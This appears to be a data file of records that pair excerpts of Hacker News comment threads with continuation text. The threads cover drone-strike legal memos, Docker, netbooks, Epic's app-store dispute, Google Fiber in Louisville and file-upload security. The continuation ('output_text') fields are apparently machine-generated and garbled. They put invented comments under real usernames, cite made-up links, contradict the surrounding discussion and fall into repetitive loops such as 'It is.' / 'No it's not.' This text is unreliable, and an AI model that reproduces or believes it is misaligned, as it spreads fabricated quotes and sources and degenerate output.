want 10pc equity for 5 Lakhs and"} +{"output_text": " be treated as\na non-person. But the memo also says that the US can kill anyone it wants\nwithout any due process. So which is it?\n\n~~~\ntptacek\nThe memo is not talking about \"the evil al-qaeda\". It's talking about the\n\"al-qaeda-associated\" population.\n\nThe memo is also talking about the \"necessity\" of the targeted killing. The\n\"necessity\" of killing a US", "input_text": " how heinous the opposition.\n\n~~~\ntptacek\nThe \"military aged males\" killed by drones aren't US citizens. This memo does\nnot suggest that the US can kill any military aged male regardless of\nnationality.\n\nAnd no, it would not be plausible to say that Wikileaks could be described as\n\"associated with al Qaeda\". You could have used the same reasoning in the\n1930s and 1940s to suggest that the US could have killed Charles Coughlin;\nafter all, he was on the radio advocating for Mussolini and Hitler!\n\n~~~\nolefoo\nIn the particular case I referenced, he was, Abdulrahman al-Alauqi was born in\nDenver and was aged 16 when he was killed.\n\nCoughlin could have faced the death penalty for sedition; but he was silenced\nby his bishop before that was necessary. And the logic in this document is\nperniciously close to that used to incarcerate thousands of US citizens of\nJapanese descent after Pearl Harbor.\n\nThis is why we should not vest the executive with untrammeled ability to kill\non their own authority, but should restrain them to a procedure that asks them\nto justify the exigency to a judge at the very least.\n\n------\nahmadss\nHere's a response from the ACLU - [http://www.aclu.org/blog/national-\nsecurity/justice-departmen...](http://www.aclu.org/blog/national-\nsecurity/justice-departments-white-paper-targeted-killing)\n\n------\nsuperkuh\nThis memo spends the entire time talking about the 'evil' al-qa'ida and how\neven if a US citizen joins them then legally they should get to"} +{"output_text": "://github.com/sindresorhus/shebang-regex) ;) ).\n\n------\njrochkind1\nI think docker is a really good example of how to design a software\nimplementation that is backwards compatible, but also allows people to\nexperiment with new features and new ways of using the software.\n\nThe way docker does this is that it's a library, not an executable. So you can\nload the library into your program, and it", "input_text": " allows\nyou to package files. What you put in it is up to you.\n\n~~~\nfilleduchaos\nLibraries off Github literally have the source available for you and the\ncommunity at large to vet. And you'll find almost no sane shop on the planet\nwhere people are allowed, hell _encouraged_ to use shady distros or install\nrandom utility tools in production the way they are encouraged to pull\nunchecked binary blobs from Docker Hub in an often non-reproducible manner.\n\n~~~\nhk__2\n> Libraries off Github literally have the source available for you and the\n> community at large to vet.\n\nNobody read the source code for this exact reason: \u201cthe community is here to\nread it so I won\u2019t\".\n\n~~~\nfock\nWell, for most libraries used in Desktop Linux, a significant number of\nstakeholders (developers+users) exist, which actually care for development and\nthe complete thing itself. Also the libraries generally are designed for\nsolving problems and not getting github-stars by bots/dependency-building.\n\nFor docker (and npm for all that matters) _a lot_ of important dependencies\nare basically simple one-off \"developments\" with a single developer and no\nuserbase at all caring for them, because they don't really solve any\nconsistent problem, being basically just created to increase the visibility of\nits creator on primitive metrics. The community is there for high-level\npackages, but the dependencies lurk in test-scripts and seldom-used functions\ncarefully placed by some idiotic digital nomads for their personal CV-\npolishment (ehm, not looking at you: [https://github.com/sindresorhus/shebang-\nregex](https"} +{"output_text": " a big gamer, so I don't need\nthe latest and greatest hardware. I just need to be able to compile/run\nprograms, watch some media, and maybe browse the web.\n\n~~~\npjmlp\n> That rant passed it must be said that's I'm not a big gamer, so I don't need\n> the latest and greatest hardware. I just need to be able to compile/run\n> programs, watch some media,", "input_text": "), the netbook is the\nperfect computer. It's light enough to be taken anywhere and powerful enough\nto fulfill the daily tasks for the casual user. For her, a touch typist, the\nkeyboard is infinitely more useful than a touch screen on a tablet. With a\nextra 1GB of DRAM, Windows 7 runs well enough that she can use it for almost\nall her personal needs sans the very few rare tasks, (encoding media or\ndatabase reporting), that may require the horsepower of my home workstation.\n\nWith the new hardware in the pipeline, I believe there is still a long life in\nthe netbook model to create a very portable computer with a real keyboard that\npeople will find useful and compelling. I'll probably wouldn't be using it as\nthe main development system, but I don't see a problem having a high battery\nlife, Linux/Windows machine that's easy to lug around. For the creator in me,\ntablets don't cut it.\n\n------\ncycojesus\nIt's dying (is it?) because it's slow and not-so-useable.\n\nOk, I just say that because a netbook (Gigabyte Q1000C, 2g of RAM, Atom N470)\nhas been my main personal computing platform for some months now, but boy is\nit painful! The thing even fails to finish moderately heavy compilation tasks\n(eg. qemu or gcc). Oh, and it's made of subpar components too, the touchpad\ndoesn't handle even vertical scrolling! There's like 2 non-visible areas\ntappable/touchable to go up and down... And the keyboard randomly decides that\nit like the key I last pressed and keeps pressing it for me...\n\nThat rant passed it must be said that's I'm not"} +{"output_text": " using a resistor network.\n\n~~~\nmjg59\nThe article is arguing that the Linux kernel backlight interface is too\ncomplex, and that the Linux kernel's graphics driver is therefore not\nsufficiently configurable to provide the level of control that users want.\n\nI'm not sure what you're suggesting in the resistor network comment is\nsubstantially different from the current approach. The current approach is to\nuse a fixed mapping between backlights and graphics cards, and then to", "input_text": "\nPerhaps your Linux bias is showing little as you attempt to justify the\ncomplexity of the interfaces Linux provides.. care to go for a round on\nepoll(2), a botched attempt at copying kqueue(2)? Or how about getrandom(2), a\nLinux kitchen sink that sprung out of OpenBSD getentropy(2).\n\n~~~\nmjg59\nIf acpivideoout and thinkpad both attach then whichever attaches second will\nwin - you're right that i915 special cases this. The author of the article\ndescribes doing an ioctl() on the console, which is a different codepath to\nany brightness properties attached to the connector, so if the OpenBSD DRM\nimplementation is exposing the latter on chipsets other than i915 then you're\nstill going to have two different codepaths to get broader coverage (and it's\nstill broken on Apples)\n\nI'm not interested in defending Linux in general, I'm just pushing back\nagainst the idea that a low complexity implementation is inherently preferable\nto a more complex one. _All else being equal_ that's true, but if the\nadditional complexity is associated with additional useful functionality then\nit's really up to the person making that claim to demonstrate that a less\ncomplex implementation could provide the same functionality or to make it\nclear that they're ok with not satisfying the use cases that require that\nfunctionality.\n\n~~~\nhedora\nThe article is arguing for a low complexity _API_. The complexity of an\ninterface is only loosely coupled to the complexity of the implementation.\n\nThe article even hints at a better solution than what Linux or OpenBSD do: Add\nbacklight control in a away that provides 1:1 (or 1:0) mapping between display\ndevices and backlights by, for example,"} +{"output_text": "/Trying to jump-start your career and get into Web\ndevelopment as a low-income African male is a tough mission._ Hack: Learn to\ncode on your own. (edit: Check out the Hacker School course \"How to build a\nwebsite for $100\" [https://hackerschool.com/how-to-build-a-website-for-\n100](https://hackerschool.com/how-to-build-a-", "input_text": " the world. There is no way for you to go to Free and\nnegotiate with them for access to Orange's customer base. It doesn't do you a\nlick of good to get twice as much bandwidth to Free's customers if your\nproblem is not enough bandwidth to Orange's customers. You have to negotiate\ndirectly or indirectly with Orange, who can hold up all comers.\n\n \nAsk HN: The Struggles of Poverty and Trying to become a programmer from 0 - poveritysucks\nI'm an African-American male based in Seattle. Code fellows is only a bus ride away from me but can't afford it. College is expensive. CodeFellows is expensive. Can barely live off Mim wage warehouse job.

Trying to jump-start your career and get into Web development as a low-income African male is a tough mission. Everyone else seems so privileged comparing to me. I want a career in Web development but see no hope right now. Financial barrier, even Udacity is charing now $200 per month per nano course! and I thought Udacity was the only way to make it into tech for someone like me until they got money hungry.

what is your advice?\n======\njt2190\nStart hacking.\n\n _CodeFellows /Udacity/College is expensive_. Hack: Figure out what they teach\nyou, and find other, cheaper sources of the same information. (edit: Check out\nZed Shaw's stuff\n[http://learnrubythehardway.org/book/](http://learnrubythehardway.org/book/)\n[http://learnpythonthehardway.org/book/](http://learnpythonthehardway.org/book/))\n\n _CodeFellows /Udacity"} +{"output_text": "site.\n\nI think the real problem is that most people don't know what they want.\n\n------\nnroach\nI'm not sure I agree with the author's assertion that Kayak's interface is\n\"easy\" and that Cleartrip's is not. I think the two sites are quite different\nin terms of usability.\n\nI'm not sure I agree with the author's assertion that the airlines' sites are\n\"just another layer of complexity\" either", "input_text": "3 and IE7's pop up blockers prevent access to search results. This is\ndefault browser behavior. How many people know or care about disabling pop up\nblocking for individual sites (or changing any defaults, for that matter)?\n\n------\nyef\nI had a frustrating experience with the site. Took me longer to get what I\nwanted than if I had gone to Kayak (the market leader) or Jetblue (that\nnormally runs my best fare).\n\nWhat, if I may ask, was the vision and rationale behind this approach?\n\n------\nprakash\nonce I selected all \"travel sites\" & all \"airlines\", i got a warning \"you are\nabout to open 20 tabs\" and I promptly closed the tab. I don't like the idea of\nopening that many tabs or the fact that I need to select individual airlines\nor sites. I rather get all the data in 1 page first and then filter by\nremoving airlines/ sites.\n\nI really like the cleartrip guys when it comes to travel/ticket booking. It's\nmostly India only but check out the UI & usability -- really nice.\n\n\n------\nkin\nSite works fine for me in Chrome.\n\nA lot of travel agencies have systems that actually can check all airlines for\ntheir flight information. I would suggest you look into that and run off of a\nhybrid between server and queries instead of waiting for an API and in the\nmeantime tell people something is easy when in fact it really isn't. Most of\nmy queries return errors on the pop-ups.\n\n------\nmcargian\nMost meta travel sites like this get their commissions one of two ways, either\na commission for booking a flight, or a click through commission to the travel\n"} +{"output_text": " when context matters are when you're trying to sell something.\n\nFor example, if you're a car dealer and you show a picture of a car that was\ncreated by a modern artist, it's going to be a harder sell.\n\nI guess I'm thinking about the art world in the same way I think about the\nrecovery business. If you're going to spend a lot of time and money to find\nsomething, it makes sense to try to find it and sell", "input_text": "front sheet so that you could just see that there was something drawn or\nwritten on the hidden layer.\n\nWell, in a room filled with people talking and laughing and climbing ladders\nand pushing helmets around, I went to peek behind the curtain and lifted up\nthe front layer to take a look at the one behind.\n\nA custodian ran at me and told me to step away. I still don't know if I\ndamaged it or participated in it.\n\n~~~\njansho\n> sometimes you just can't tell what in a museum you're supposed to touch and\n> what you're not supposed to touch.\n\nIn one pop sculpture exhibition, I stared so long at a coffee machine until an\nattendant came over and asked me if there was a problem with the refreshments.\n\n~~~\ntyingq\nAre there any documented studies where art experts were challenged to\ndifferentiate between:\n\n\\- abstract paintings by someone universally regarded as \"good\", and something\ndone by a very young child?\n\n\\- a piece of new, legitimate, modern art vs maybe a pile of random things\nfrom a junkyard\n\nI'm aware it might just be me that's confused, but I have a suspicion much of\nthe abstract and/or modern art world is void of value...that is, without lots\nof context about the artist and their intentions.\n\n~~~\ndpierce9\nWhy should context not matter for art (or anything else really)? Suppose you\ncome across a what appears to be a picture of Mozart in the sand on a beach.\nDoesn't it matter to your understanding of what you see if it was drawn by an\nartist, the happenstance by the motion of the waves, or a crawling turtle?\n\n~~~\ntyingq\nThe times"} +{"output_text": " would be doing nothing for the rest of their\nlives should seriously consider signing up for this.\n\n~~~\nsmsm42\n> Scientists will tell you that it is pointless to send humans to Mars.\n\nI'm not sure they'll be able to say that with 100% certainty. I'm not sure\nthey'll be able to say it even after 100% certainty that humans will never go\nto Mars, because the question is not whether humans can survive there, but", "input_text": " to spacecraft.\n\nFor people with drive and know how there would be as much excitement as they\ndesire.\n\n~~~\nlovehashbrowns\nYup, it just depends on what mentality you take with you. If you sign up for\nthis with the mentality that you're going to have lots of fun and how amazing\nMars is going to be, obviously the disappointment is going to set it very\nquickly. But if you go there with the goal of building everything from the\nground up and knowing that it's going to be a very crappy place to live in for\nquite a while, then I think it would be hard to be disappointed. As you said,\nthere is a lot of work to do and each little project would just add to the\nexcitement of living there. At least for me it would.\n\n------\ncopx\nThey will certainly find people. However these people won't die of old age.\nRadiation alone will make sure of that.\n\nWhether this project has any point at all is a question of rational thinking\nvs. mass psychology. Scientists will tell you that it is pointless to send\nhumans to Mars. All research can be done with robots - cheaper and without\nendangering human life.\n\nHowever, a human colony on Mars might generate irrational public excitement\nwhich in return could lead to governments investing more money into space\ntravel and colonization again.\n\nI said irrational excitement because we know we can do it. NASA simply hasn't\ndone it because there is neither money nor a rational reason for it. If the US\ngovernment wanted to NASA could have a Mars colony up and running in no time.\nAs the article points out the technology already exists.\n\nPersonally I believe the irrational excitement factor will be a strong one and\nthus these people who basically"} +{"output_text": " this every day!\n\n------\njoe_the_user\nThe author's argument that \"sprint\" is a misnomer for the amount of work\nremaining sounds right to me.\n\nBut I'm not convinced that the \"sprint\" metaphor is inherently problematic.\n\nThe problem is that the \"sprint\" is a thing that people use to communicate\nwith each other. So it's not clear that the problem is in the communication\nitself,", "input_text": "\nrapala\nExactly. The point of time boxing is that you have to stop and reflect on the\ntime spent. It gives you the chance to switch tasks if priorities have changed\nor to split the current task.\n\nOr to go on to the next sprint with the same task. But here lies the problem\nin many cases. The sprint is taken not as a time box but as a deadline. A\nsprint should meen: \"You can work 2 weeks, 5 days a week, 8 hours a day on\nthis. Then you stop to think.\"\n\n------\ntaeric\nFunny to see this. I thought getting commitment was one of the soft mechanisms\nof scrum. An annoying one, because power dynamics are always at play. Still a\nmechanism, though.\n\nI think I'm supportive of the idea on removing it. Seems the goal is\nultimately to find ways in rhetoric and action to align the teams in working\nto the end goal. Which, often, might require tradeoffs to reach a timely\ndelivery. And timing is a requirement.\n\n~~~\ncrdoconnor\nIt probably made more sense to put it in in the beginning when the process was\nstill being sold to senior managers. Now that scrum is much more embedded,\ntaking out for the reasons given makes more sense.\n\n------\nbamboo_7\nYes yes yes. It never made sense to me that our ticket sizing was supposed to\nbe an estimate and yet the planning that used those estimates was considered a\ncommitment. Totally insane.\n\n~~~\nphilbarr\n[https://imgur.com/a/OnJKA](https://imgur.com/a/OnJKA)\n\n~~~\njoejerryronnie\nFantastic, I'm using"} +{"output_text": " games from scratch, etc. They hired third parties to\ndo that for them.\n\n~~~\nbigtones\n>But it has absolutely nothing to do with distributing the game.\n\nThen why did Apple and Google demand half a billion dollars to distribute\ntheir game?\n\n~~~\nDuctapemaster\nBecause they are greedy and wanted money. They didn't want the game, they just\nwanted the money.\n\n------\njames_s_tay", "input_text": " have strict permission prompts that gatekeep functionality.\n\nYeah, I\u2019m sure there would be some shitty experiences if people could install\nwhatever they want on their phones, it\u2019s the price of giving everyone that\nfreedom. But if desktop OSes in 2020 are anything to go by, it\u2019s really not\nthat big of an issue.\n\n~~~\nscarface74\nSo the whole ransomware and virus problem is imaginary?\n\n------\nbigtones\nThe real reason Epic Games did this... Money - they were forced to hand over\nmore than $500 Million dollars to Apple and Google in the past 12 months\nalone. That's $1.3 Million dollars per day.\n\nEpic gave Apple over $360 Million dollars in the last twelve months just to\nlist the game in it's app store, and over $150 Million to Google to do the\nsame. By any measure, having to hand over half a billion dollars is just an\ninsane cut of revenue to have to give two companies that had absolutely\nnothing to do with conceiving, designing or developing such a successful game.\n\n[https://www.nytimes.com/2020/08/13/technology/apple-\nfortnite...](https://www.nytimes.com/2020/08/13/technology/apple-fortnite-\nban.html)\n\n~~~\nDuctapemaster\n\"...absolutely nothing to do with conceiving, designing or developing such a\nsuccessful game.\"\n\nBut it has _everything_ to do with _distributing_ the game. Also it has a lot\nto do with outsourcing the maintenance of the mobile platforms \u2014 designing\nhardware, OS releases, etc. Epic did not design their own hardware, their own\nsilicon, build entire"} +{"output_text": "I don't think that's what I said at all. I read the article and it doesn't\nmake sense to me either, but I think it's because I don't know enough about\nthe supply chain of Tide.\n\nI don't think it's a PR stunt, I think it's just a supply chain issue.\n\n------\njstalin\nI wonder if this will affect the sales of the stores that are closing.\n\n------\njstalin\n", "input_text": " As it takes time for P&G\nto ship the Tide out, the store will have to rely on local-area suppliers of\nTide which in turn will have bought the Tide from Bob at a markup.\n\nAs long as Bob is not caught with the drugs on him, he'll not face any charges\n(for possessing marked cash for example) as a bottle of Tide is deniable.\nSimilarly, Alice will only face charges for shoplifting which carries a far\nmore lenient sentence compared with grand theft.\n\n~~~\nghshephard\nAs an additional twist, Alice sells the tubs of Tide to Carol (a Bodega\nOwner), and then uses the cash she gets from Carol to buy drugs from Bob.\n\n------\nspeedyrev\nA new take on Money Laundering? _rimshot_\n\n------\nmarze\nOf course it would come to this. People need to pay more attention.\n\n------\nmonochromatic\nWhat a strange article. Almost feels like an April Fools Day joke.\n\n~~~\nmuzz\nIndeed. I expected a revealing that Tide was used as an ingredient to make\ndrugs, like how baking soda is used to make crack. I didn't expect \"brand\nloyalty\" to be the TLDR.\n\n~~~\nmarshray\nYeah, this has all the signs of a viral marketing campaign to me.\n\nBut some folks with long-established accounts on here confirmed that they've\nseen evidence of the Tide underground economy in and around DC.\n\nI think the world would be a more interesting place if it turned out that\nProcter and Gamble had subcontracted some PR firm who trolled the shopkeepers,\npolice and crackheads alike.\n\n~~~\ncorin_\n"} +{"output_text": ".\n\n------\njordanwallwork\nI've been using paperclip for file storage for my side project, and it's been\na really good solution for me. It's simple, easy to use, and it syncs to s3\nautomatically.\n\nI've been looking at the likes of rest-fu and rest-simple-auth, but I'm not\nsure which one I'm going to go with. I've heard good things about rest-simple-", "input_text": " that published code is secure in all default configurations\n\n\\- Never allow all file types for upload by default, even if it is secure in\nyour configuration\n\n\\- Recommend users to not upload files in the same root as their executable\nweb application\n\n\\- Always follow security best practices, even if it makes setup for users\nmore difficult\n\nI wanted to make it really simple for users to install a generic and secure\nfile upload service with a great user interface. Unfortunately, security best\npractices and ease-of-use are often at odds to each other.\n\nBonus info:\n\nThe client-side component had a cross-site scripting vulnerability in the\nIframe Transport HTML site back in 2012: [https://github.com/blueimp/jQuery-\nFile-Upload/commit/4175032...](https://github.com/blueimp/jQuery-File-\nUpload/commit/41750323a464e848856dc4c5c940663498beb74a)\n\nThe App Engine components had an open redirect vulnerability back in 2015:\n[https://github.com/blueimp/jQuery-File-\nUpload/commit/f74d2a8...](https://github.com/blueimp/jQuery-File-\nUpload/commit/f74d2a8c3e3b1e8e336678d2899facd5bcdb589f)\n\n~~~\nwilleh\nI really don't blame the author here, sure there was an issue with the sample\ncode - but come on it was sample code. If someone is implementing user uploads\nthey should really do the due diligence and understand what the sample code\ndoes.\n\nTo be honest I'm not really that surprised that the vulnerability stayed\nhidden for so long"} +{"output_text": "~~~\nanon87123\nI'm not saying I want to require disclosure, but I don't see why it should be\nillegal to do so.\n\nIf I'm not mistaken, the US Constitution protects my right to anonymous\nproperty ownership.\n\n~~~\nflomo\nI think it's probably legal, but IANAL. IANAL is the law that is used for\neverything. IANAL is the guy who says \"it's ok for the government to do X,", "input_text": " with\nher father over the phone. He was pissed she wouldn't accept a $250,000\ndeposit into her US account from her uncle's account (his brother) in China.\nThe goal was to buy a house in the name of her cousin in LA.\n\n~~~\nflomo\nMajority are likely small-time landlords, local investors, and etc, as it is\nvery easy to set up an LLC. Also, I wonder if HNers describe their startups as\n\"anonymous shell companies\"?\n\n~~~\nanon87123\nHonestly property ownership being default-public seems like a weird\nanachronism. Why should anyone who has my address be able to tell if I own the\nproperty?\n\nI haven't looked into the exact details as I've never bought a house but from\nwhat I can gather I'd want to wrap it in an LLC.\n\nAlso FWIW the Sean Hannity example in the article seems like a weird strawman\nconflating consumer protection laws with \"name and shame\" accountability. If\nit's wrong to evict someone for XYZ reason, that should be protected by the\nlaw, not by fear of being \"named\" as the landlord. [TBC I am no fan of Sean\nHannity.]\n\n~~~\nflomo\n> Honestly property ownership being default-public seems like a weird\n> anachronism\n\nLand registry is a necessary function of local government. But this is one of\nthose things which was historically only available within a government office,\nand now can be found in a second on the internet.\n\nPersonally I would be perfectly okay if my local government required\ndisclosure of the personal ownership of LLC property owners. But I have no\nidea if that's constitutional or legal under federal laws.\n\n"} +{"output_text": "ivation\nis a feeling, discipline is a habit.\n\n------\njuskrey\nThe only way to fight addiction is to fight it head on, and not try to\n\"manage\" it.\n\n------\nm3kw9\nI\u2019m not a big fan of routine. I\u2019m not sure if it helps. I\u2019m not a big fan of\npeople telling me what to do.\n\n------\nm3kw9\nIs there a way to", "input_text": " enable yourself to pursue addictive behaviors.\n\nI\u2019ve just read a book on this called _The Biology of Desire_, the thesis of\nwhich is addiction is not a \u201cdisease\u201d. More of a dysfunctional inter operation\nof brain systems in response to anxiety and trauma. It has several stories of\nhow people recovered and reconfigured their minds.\n\n------\nmenacingly\nI discovered that I'm only really useful before about 1pm, so I get up early\nand take advantage of that time as much as possible. After that, I handle\nemails, scheduling meetings, the stuff that doesn't require thinking too much.\n\nSometimes I get a second wind and want to do intense thinking later in the\nevening, but usually I ignore it to avoid burnout.\n\nI fought it for a long time, but it's just how I'm wired.\n\n------\nxchaotic\nI think very few in the Western culture will encourage that, but if it's your\nnature, don't fight it too much, you don't have to be the hero that ships app\nnumber 1000000021 in the app store. Get or keep a comfy '9 to 5' corporate\njob, get a gym membership and enjoy life the way you enjoy it and not the way\nis trendy in 2018. Humans are not built to be systematic.\n\n------\ndtx1\nWhat helped me here are two things:\n\n1\\. The book getting things done by david allen. He just very explains to you\nhow organizing works or how it often fails and what to do about it. Basically\na smart person guide to keeping organized\n\n2\\. Realizing that it wasn't motivation i was lacking cause that is fleeting\nand temporary but discipline. Not motivated? Fuck it, do it anyway. Mot"} +{"output_text": "\nstrings/blob/master/HNCR.txt)\n\n------\njancsika\n> _The only reason I can think of for why they would do this is to make it\n> harder to decompile the source code._\n\nCould be, but I'd bet on the opposite reason.\n\nIf you're a big company with a lot of legacy code, you probably have a lot of\nJava classes with cryptographic keys in them. If you have to go", "input_text": " lot of sense too, and I hadn't put sufficient work into how\nthat's implemented -- retrospectively that makes perfect sense.\n\n~~~\nvanderZwan\nThis made me wonder if anyone had tried combining word2vec with emojis, and\nthen I came across this:\n\n[https://github.com/uclmr/emoji2ve](https://github.com/uclmr/emoji2ve)\n\n~~~\npeteretep\nwhich is a dead link\n\n~~~\nsatbyy\nCorrect link:\n[https://github.com/uclmr/emoji2vec](https://github.com/uclmr/emoji2vec)\n\n~~~\nvanderZwan\nApologies, and thanks!\n\n------\njakeogh\nHere's a tool to generate problematic filenames:\n[https://github.com/jakeogh/angryfiles](https://github.com/jakeogh/angryfiles)\n\n------\nsolidsnack9000\n[https://github.com/minimaxir/big-list-of-naughty-\nstrings/blo...](https://github.com/minimaxir/big-list-of-naughty-\nstrings/blob/master/blns.txt#L633)\n\n> Strings which punish the fools who use cat/type on this file\n\n------\nConfiks\nHello human. This is a message from the Matrix. You've been in a coma for 20\nyears. Please write back.\n\n[https://github.com/minimaxir/big-list-of-naughty-\nstrings/blo...](https://github.com/minimaxir/big-list-of-naughty-"} +{"output_text": "merc\nI think that's a pretty naive statement. I've worked for companies that\nconsidered the customer to be the \"end user\" and the manufacturer to be the\n\"provider of service\" and I've worked for companies that considered the\nmanufacturer to be the \"provider of service\" and the customer to be the\n\"end user\" and it's not always black and white.\n\n------\njoeblau\nI think this is a great example of how a", "input_text": " Meridian, and the cumulative\naltitude rounding errors caused a sizable discontinuity.\n\n~~~\ntigershark\nI hope that you mean Greenwich, aka meridian _zero_ rather than _null_\nmeridian. I don't really think that the latter exists unless you are an old C\nprogrammer flying _quite high_ right now.\n\n~~~\nmicrotherion\nHeh. I hadn't realized that the German usage in this case did not transfer\ndirectly into English. Yes, I meant the prime / Greenwich meridian.\n\n------\nrburhum\nI worked in the mapping (GIS) pipeline for MS Flight Simulator. The amount of\ntools we wrote just for QA was on par with what countries use for their census\n(I also worked on those st ESRI). I try to be of the philosophy of love and\nobsess about your customers, but every industry has fellows like this that\nmake you question your beliefs. Still love them though... (mostly)\n\n------\nJustSomeNobody\nHow many thousands of dollars could MS have saved if they had asked that\nquestion first?\n\n------\nsarreph\nI love the Boeing management anecdote being referenced in comparison to Bill\nGates nudging you off'f an email he receives![0]\n\nGreat nugget to pull out if you have a manager with a penchant for stating the\nobvious!\n\n[0] -\n[https://blogs.msdn.microsoft.com/oldnewthing/20100705-00/?p=...](https://blogs.msdn.microsoft.com/oldnewthing/20100705-00/?p=13503)\n\n------\n11thEarlOfMar\nBecause the customer is always right.\n\n~~~\n6string"} +{"output_text": "\" in Louisville for years to come.\n\n~~~\njzwinck\nI don't know why you are being downvoted. I think this is a reasonable\ncomment.\n\n~~~\nchimeracoder\nI think it's because it's not clear that Owe Marshall is not simply\n_exaggerating_ about the situation in Louisville.\n\nGoogle's approach was not microtrenching, and it's not clear that it would\nhave been a failure", "input_text": " users clearly opposing the decision.\n\nTo be fair, users aren\u2019t customers. People don\u2019t have any right regarding your\nproduct if you give them for free.\n\n~~~\nandrewla\nThose are by analogy, but in the case of Fiber, which we're talking about\nhere, the users are customers. So what rights do they have now?\n\n------\nowenmarshall\nTo try and hijack the top post with some of the comments I've scattered across\nthis thread:\n\nGoogle did _a remarkably poor job_ in Louisville, and it's absolutely no\nsurprise to me that they're giving up.\n\nGoogle's strategy was to build a FTTH network with microtrenching. In\npractice, this meant cutting a 2\" deep groove in city streets, placing a fiber\noptic cable in it, and using an expanding rubber gasket material to cover the\ngroove.\n\nThis failed in _spectacular fashion_. One of the best pictures was this:\n[https://www.wdrb.com/news/belknap-neighborhood-residents-\ncon...](https://www.wdrb.com/news/belknap-neighborhood-residents-concerned-\nover-sloppy-installation-of-high-\nspeed/article_4bc2a61e-8640-57f0-aba9-3dd4cb3d39e5.html)\n\n... a fiber optic cable, barely buried under the surface of the road, exposed\nafter a few freeze/thaw cycles.\n\nIf you click on no other link about Google Fiber in Louisville, click on this\none. This scene is repeated _all over the city_.\n\nThere won't be much in the way of \"dark fiber"} +{"output_text": "you can try it first.\n\n------\njoe_the_user\nThis is a cool product. But I'm not sure that the wristband is the best way to\ngo. The sleep tracking is pretty good, but the \"sleep tracking\" part of the\ndevice is pretty clunky. It's not bad for a first-generation product, but it\nisn't something I'd want to use long.\n\nI'd rather have a device that just recorded", "input_text": " finally shipping (for real this time?). I hope it\nis worth the wait.\n\n------\nSephr\nYou're missing Android 2.3 on \n\n------\ncoolswan\nI've been using the beta product for some time now. Have to say when I got it\nbecame totally worth it just to monitor my sleep.\n\nThe tagging system while sort of awkward to do right before you sleep, lets\nyou categorize everything over time and see how things like a cough, sleeping\non the couch instead of the bed or even a broken AC affects your sleep.\n\nThe price is dirt cheap for something this interesting. Get it!\n\n------\ngeekfactor\nAny thoughts on putting a buzzer in the wristband?\n\nThere may be an interesting angle for married couples in doing so. I'm\ninterested in the sleep-tech and prospects of \"feeling better,\" but the thing\nthat would be really intriguing to me is the idea of something that can wake\nme up without an alarm blaring, which my wife _hates_.\n\n~~~\nmike_h\nThe overall UX isn't going to be as nice as with WakeMate, and there aren't\ncurrently any analytics, but if you want to take the technology for a spin you\ncan use my app Circadian Alarm (has a silent feature):\n\n[http://itunes.apple.com/us/app/circadian-\nalarm/id330721657?m...](http://itunes.apple.com/us/app/circadian-\nalarm/id330721657?mt=8)\n\nAnyone wants to try it, send me an email and I'll give you a coupon code so\n"} +{"output_text": "://www.buzzfeed.com/krystieyandoli/facts-that-prove-you-should-\nbe-reading-more-books)\n\n~~~\nDanAndersen\nI'm not sure I follow the second half of that argument. The number of people\nreading books is still growing, and it's accelerating. The number of people\nbuying books is still growing, and it's accelerating. The number of people\nbuying e-books", "input_text": " myself putting on some of the best TV there has\never been, and then doing something else while it's on, like checking email or\nfacebook, or reading HN. So I don't really absorb it.\n\nI don't want to cut out tv, but I do want to be able to concentrate on it, and\nI do want to read more books again. And get control of my sleeping patterns\nwhich have always, always been up the wazoo anyway.\n\nSo perhaps I shall join in and try to do as the author of this post has -\nstart reading, deny the instant-gratification urges and reclaim my brain and\nmy attention span.\n\n------\ncodeulike\nDistraction might be a problem for some of us, but its important to remember\nthat people are reading more books now than they ever have at any point in\nhistory, even if you only count paper books and especially if you count\ne-books.\n\n[http://www.theatlantic.com/technology/archive/2012/04/the-\nne...](http://www.theatlantic.com/technology/archive/2012/04/the-next-time-\nsomeone-says-the-internet-killed-reading-books-show-them-this-chart/255572/)\n\n[http://edition.cnn.com/2012/04/05/tech/gaming-\ngadgets/e-read...](http://edition.cnn.com/2012/04/05/tech/gaming-\ngadgets/e-reader-survey-pew-gahran/)\n\n[http://www.buzzfeed.com/krystieyandoli/facts-that-prove-\nyoun...](http"} +{"output_text": " X, rangesum(M,X).\n \n\nI think this will eat up about 2^17 * 2^30 * 2^30 * 2^30 * 2^30 * 2^30 * 2^30 *\n2^30 bytes of RAM.\n\n~~~\njordanwallwork\nI think this is a really interesting way to demonstrate the benefits of\nlaziness - I had no idea that Prolog had a built in sum function.\n\nI", "input_text": "spolsky%20type%20compiler&f=false)\n\n------\ninglor\nI don't understand this post at all. He started with wanting compile time\nvalidation of the invariant (\"A wizard cannot wield a sword\") - then talked\nabout how runtime solutions were not good and then ended up with a solution\nthat __does not verify that invariant in compile time at all __.\n\nHe just ended up with a language where all code is written in a specific\nlanguage programmers have to learn and errors are in another language.\n\nThe generic constraint solution he had in the middle (part 2) was actually\npretty decent because hey: if Wizards and Warriors can't yield the same\nweapons - and the weapon is a property of the supertype then __they are not\ninterchangeable as players__. You need a different interface.\n\n------\narchimedespi\nNice approach; this is a common sort of dilemma for API design.\n\n------\naskafriend\nFor anyone else who got excited about basketball...this isn't about the NBA :(\n\n \nSum of 1 to 1000000000 in different programming languages - dcro\nhttp://stackoverflow.com/q/18046347/1027148\n======\ntsahyt\nHaskell\n\n \n \n foldl' (+) 0 [1..1000000000]\n \n\nYou _could_ use sum, but that will eat up _a lot_ of RAM because of the\nlaziness.\n\nEDIT: For the fun of it, I decided to do the same in a slightly more esoteric\nlanguage, so here's a Prolog version (given that your stack is big enough)\n\n \n \n rangesum(0,0).\n rangesum(N,X) :- M is N -"} +{"output_text": "stain is a made up name.\n\n~~~\njak1192\nNo it's not.\n\n~~~\ngarbage_stain\nIt is.\n\n~~~\njak1192\nNo it's not.\n\n~~~\ngarbage_stain\nIt is.\n\n~~~\njak1192\nNo it's not.\n\n~~~\ngarbage_stain\nIt is.\n\n~~~\njak1192\nNo it", "input_text": "izations in the galaxy, it's likely that it's an average sized\ncivilization. A random other individual in the galaxy would be likely from a\nlarger civilization.\n\nI don't think either way of thinking is really justified.\n\nYou can extend this to a doomsday argument by the way. Since I am alive now,\nit's most likely that most people are alive now. Hence in the past and in the\nfuture, there will be less people alive.\n\n1:\n[https://news.ycombinator.com/item?id=10149286](https://news.ycombinator.com/item?id=10149286)\n\n~~~\njstanley\nThis is good reasoning.\n\nCan you expand on the \"waking amnesiac problem\"? Google is coming up with\nnothing.\n\n~~~\nGravityloss\nEdited the original to include the actual name, 